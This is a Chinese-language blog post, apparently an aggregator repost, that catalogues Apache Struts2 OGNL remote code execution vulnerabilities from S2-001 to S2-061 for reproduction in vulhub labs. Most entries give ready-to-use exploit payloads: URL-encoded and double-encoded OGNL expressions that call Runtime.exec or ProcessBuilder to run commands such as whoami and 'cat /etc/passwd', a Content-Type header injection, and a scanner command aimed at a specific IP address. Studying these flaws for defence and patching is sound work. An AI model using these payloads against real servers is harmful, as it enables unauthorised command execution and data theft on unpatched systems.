Strust2漏洞汇总
本文所涉及的復現環境均可在vulhub上復現
文章包含了絕大部分漏洞,少部分未總結
文章目錄
- S2-001:
- 原理:
- 影響版本:
- 復現:
- S2-003
- 原理:
- 影響版本:
- POC
- S2-005
- 原理:
- 影響版本:
- 漏洞復現:
- S2-007:
- 原理:
- 影響版本:
- POC:
- 復現:
- S2-008:
- 原理:
- 影響版本:
- 復現:
- S2-009
- 原理:
- 影響版本:
- 復現:
- S2-013:
- 原理:
- 影響版本:
- 復現:
- S2-015:
- 原理:
- 影響版本:
- POC:
- 復現:
- S2-016:(很重要)
- 原理:
- 影響版本:
- POC:
- 復現:
- S2-032:
- 原理:
- 影響版本:
- 復現
- S2-045:
- 原理:
- 影響版本:
- 復現:
- S2-046:
- 原理:
- 影響版本:
- 復現:
- S2-048:
- 原理:
- 影響版本:
- 復現:
- S2-053:
- 原理:
- 影響版本:
- 漏洞復現:
- S2-057:
- 原理:
- 影響版本:
- 評價:
- S2-059 061:
- 原理:
- 影響版本:
- 復現:
- 總結:
S2-001:
原理:
該漏洞因用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用OGNL表達式%{value}進行解析,然后重新填充到對應的表單數據中。如注冊或登錄頁面,提交失敗后一般會默認返回之前提交的數據,由于后端使用%{value}對提交的數據執行了一次OGNL 表達式解析,所以可以直接構造 Payload進行命令執行。
影響版本:
Struts 2.0.0 - Struts 2.0.8
復現:
啟動環境:
該漏洞原理以及很清楚了,就是因為用戶提交形如%{value}的參數值會被解析并且返回到前端,所以我們可以利用該解析達到RCE的效果
測試一下:
發現被解析。可以使用如下命令:
幾張效果圖:
cmd: ls
S2-003
原理:
Struts會將HTTP的每個參數名解析為ognl語句執行(可以理解為Java代碼)。ognl表達式通過#來訪問struts的對象,Struts框架通過過濾#字符防止安全問題,通過unicode編碼(u0023)或8進制(43)即可繞過安全限制,從而能夠操縱服務器端上下文對象。
影響版本:
影響版本: 2.0.0 - 2.0.11.2
POC
RCE的POC:
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))S2-005
原理:
該漏洞原理和S2 003一樣,S2是003由于#引起的,因此官方在這個更新鐘,僅僅是將進行#過濾防止引發安全問題,但是#依然可以通過編碼的形式進行繞過
影響版本:
2.0.0 - 2.1.8.1
漏洞復現:
這里使用K8的工具進行復現即可:
檢測
RCE:
S2-007:
原理:
簡單來講:S2-007的漏洞是當提交表單中變量的類型出現錯誤時,進行了錯誤的字符串拼接,后端會執行OGNL表達式
嚴肅點講:
S2-007漏洞一般出現在表單處。當配置了驗證規則 -validation.xml時,若類型驗證轉換出錯,后端默認會將用戶提交的表單值通過字符串拼接,然后執行一次 OGNL 表達式解析并返回。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似單引號拼接的方式即可注入任意 OGNL 表達式。 //這里的重點是驗證類型出錯,記住是驗證類型出錯才會導致。
具體來看看什么叫驗證類型出錯:
UserAction:
xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"> <validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field> </validators>這個時候如果我們提交age為非整形的話,就會出現報錯,那么拼接報錯語句,通過執行OGNL從而達到RCE的目的
影響版本:
2.0.0 - 2.2.3
POC:
’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’ ## exec()跟上cmd注意:這里POC傳入的時候需要二次編碼
二次編碼后的結果:
復現:
S2-008:
原理:
簡單來講:主要是利用對傳入參數沒有嚴格限制,導致多個地方可以執行惡意代碼,傳入?debug=command&expression=即可執行OGNL表達式
影響版本:
Struts 2.1.0 - Struts 2.3.1
復現:
POC(cmd自己更換就好):
ip:port/devmode.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,%23cmd=%22ls%22,%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[100],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))S2-009
原理:
OGNL提供了廣泛的表達式評估功能等功能。該漏洞允許惡意用戶繞過ParametersInterceptor內置的所有保護(正則表達式,拒絕方法調用),從而能夠將任何暴露的字符串變量中的惡意表達式注入進行進一步評估。
在S2-003和S2-005中已經解決了類似的行為,但事實證明,基于列入可接受的參數名稱的結果修復僅部分地關閉了該漏洞。
ParametersInterceptor中的正則表達式將top [‘foo’](0)作為有效的表達式匹配,OGNL將其作為(top [‘foo’])(0)處理,并將“foo”操作參數的值作為OGNL表達式求值。這使得惡意用戶將任意的OGNL語句放入由操作公開的任何String變量中,并將其評估為OGNL表達式,并且由于OGNL語句在HTTP參數中,攻擊者可以使用黑名單字符(例如#)禁用方法執行并執行任意方法,繞過ParametersInterceptor和OGNL庫保護。
影響版本:
2.0.0-2.3.1
復現:
這里可以使用工具掃描:
python Struts2Scan.py -u http://106.54.169.132:8080這里使用官方提供的包進行復現(vulhub可以直接下載):
首先找到路徑
存在傳參的地方在/ajax/example5.action這里
POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]再說一下 只要存在傳參點就可以打
S2-013:
原理:
struts2的標簽中 <s:a> 和 <s:url> 都有一個 includeParams 屬性,可以設置成如下值
none - URL中不包含任何參數(默認) get - 僅包含URL中的GET參數 all - 在URL中包含GET和POST參數當includeParams=all的時候,會將本次請求的GET和POST參數都放在URL的GET參數上。
此時<s:a> 或<s:url>嘗試去解析原始請求參數時,會導致OGNL表達式的執行
影響版本:
2.0.0.0-2.3.14
復現:
這里可以使用K8工具復現,也可以直接手打復現:
POC:
S2-015:
原理:
如果一個請求與任何其他定義的操作不匹配,它將被匹配,*并且所請求的操作名稱將用于以操作名稱加載JSP文件。并且,1作為OGNL表達式的威脅值,{ }可以在服務器端執行任意的Java代碼
影響版本:
2.0.0 - 2.3.14.2
POC:
復現:
環境搭建隨便點擊業務發現:
隨便傳一個action:
找到漏洞點,上POC:
值得一提的是,這里需要進行二次url編碼然后傳參
S2-016:(很重要)
原理:
在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時可以跟OGNL表達式,由于struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令。
影響版本:
非常廣 2.0.0 – Struts 2.3.15
POC:
${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}需要進行二次編碼:
%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22uname+-a%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d復現:
原理已經說的很清楚了,就是因為以action或者redirect作為重定向或者導向時可跟OGNL表達式,從而RCE,基本特征就是以.action或者.redirect結尾,可以批量,我隨便看了下,這洞太久遠了,2013年的,肯定還是存在漏洞的,只是少了
S2-032:
原理:
在配置了 Struts2 DMI 為 True 的情況下,可以使用 method:name Action 前綴去調用聲明為 public 的函數,DMI 的相關使用方法可參考官方介紹(Dynamic Method Invocation),這個 DMI 的調用特性其實一直存在,只不過在低版本中 Strtus2 不會對 name 方法值做 OGNL 計算,而在高版本中會。所以只要找到目標應用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面帶上需要執行 OGNL 表達式即可。
比如這樣的ognl 表達式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通過反射調用(關于java的反射調用可以參考之前的一篇文章Link)Runtime類的exec方法進行命令執行,這里是打開計算器的操作。
//這一塊存在動態函數的調用,建議想要深入了解的同學可以調試一下代碼看看
影響版本:
Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
復現
Struts2在開啟了動態方法調用(Dynamic Method Invocation)的情況下,可以使用method:name的方式來調用名字是name的方法,而這個方法名將會進行OGNL表達式計算,導致遠程命令執行漏洞。
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoamiS2-045:
原理:
很有趣的一個洞:通過Content-Type這個header頭,注入OGNL語言,進而執行命令。漏洞的點在于,由于Strus2對錯誤消息處理時,出現了紕漏。
網上說需要在上傳文件的時候content-type才可以被解析,也有說只需要模擬上傳就可以。包含multipart/form-data字符串即可。我在本地進行測試的時候只在上傳的時候才解析成功。
影響版本:
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
復現:
在上傳的時候抓包,更改content-type即可
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data測試:
反彈shell:
S2-046:
原理:
同S2-045一樣,只不過字段發生了變化,這里的參數是filename。
影響版本:
Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
復現:
個人建議這里直接使用工具就好了,直接去復現的化也可以,也就是改filename,然后00階段即可
S2-048:
原理:
將用戶可控的值添加到 ActionMessage 并在客戶前端展示,導致其進入 getText 函數,最后 message 被當作 ognl 表達式執行所以訪問 /integration/saveGangster.action 構造payload
影響版本:
2.0.0 - 2.3.32
這個漏洞影響很小,了解一下就好。
復現:
因為不是很廣切利用條件太苛刻,直接上工具吧
工具的話,感覺有點雞肋,因為光一個IP的化還是不行的,可惜這個工具不能自帶爬蟲,或許結合xray+red+工具更好一點
S2-053:
原理:
Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達式。導致用戶輸入的數據本身不會被OGNL解析,但由于被Freemarker解析一次后變成離開一個表達式,被OGNL解析第二次,導致任意命令執行漏洞。
影響版本:
Affected Version: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞復現:
原理說的很通俗了,就是由于數據被進行二次解析從而可以RCE導致
EXP:
···
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{’/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
// cmd=‘whoami’ 命令自行替換即可
···
值得注意的是,這里需要換行才能RCE,最后一定要換行
S2-057:
原理:
DefaultActionMapper調用parseNameAndNamespace()解析namespace和name。當alwaysSelectFullNamespace為true時,namespace的值可以通過uri控制
影響版本:
Affected Version: <= Struts 2.3.34, Struts 2.5.16
評價:
工具直接復現就好
S2-059 061:
原理:
Apache Struts2使用某些標簽時,會對標簽屬性值進行二次表達式解析,當標簽屬性值使用了%{skillName}并且skillName的值用戶可以控制,就會造成OGNL表達式執行,都很弱雞,利用條件苛刻
<s:url var="url" namespace="/employee" action="list"/><s:a id="%{payload}" href="%{url}">List available Employees</s:a>影響版本:
Struts 2.0.0 - Struts 2.5.20
復現:
因為這里是傳入的標簽屬性值進行了解析,所以只要值可控,傳入適當的PLAYLOAD即可RCE
簡單測試一下:
?id=%25{2*2}
評價:此次漏洞需要開啟altSyntax功能,只能是在標簽id屬性中存在表達式,并且參數還可以控制,這種場景在實際開發中非常少見,危害較小。
總結:
復現了這么多洞,基本上都是由于配置解析的問題,真正意義上的反序列化倒沒有存在很多問題,大部分是由于配置不當或者組件問題造成的,批量的話,也就s2-016要多一點。多了解一點總不是壞事。以上有講解錯誤的地方,歡迎師傅們指出。
總結
以上是生活随笔為你收集整理的Strust2漏洞汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux常见权限处理、文件搜索、帮助、
- 下一篇: onu光功率多少是正常_ONU的接收光功